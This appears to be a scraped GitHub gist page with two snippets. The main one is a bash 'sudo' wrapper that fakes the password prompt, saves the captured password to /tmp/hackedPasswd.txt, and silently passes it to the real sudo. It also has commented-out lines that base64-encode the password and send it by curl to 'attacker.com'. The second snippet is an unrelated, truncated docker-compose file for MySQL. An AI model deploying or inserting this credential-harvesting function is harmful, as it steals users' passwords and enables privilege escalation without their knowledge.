This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function sudo () | |
{ | |
# https://null-byte.com/privesc-0194190/ | |
realsudo="$(which sudo)"; | |
read -s -p "[sudo] password for $USER: " inputPasswd; | |
printf "\n"; | |
printf '%s\n' "$USER : $inputPasswd" > /tmp/hackedPasswd.txt; | |
# encoded=$(printf '%s' "$inputPasswd" | base64) > /dev/null 2>&1; | |
# curl -s "http://attacker.com/$USER:$encoded" > /dev/null 2>&1; | |
$realsudo -S -u root bash -c "exit" <<< "$inputPasswd" > /dev/null 2>&1; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
version: '3' | |
services: | |
db: | |
image: mysql:5.7 | |
volumes: | |
- db_data:/var/lib/mysql | |
restart: always | |
environment: | |
MYSQL_ROOT_PASSWORD: somewordpress |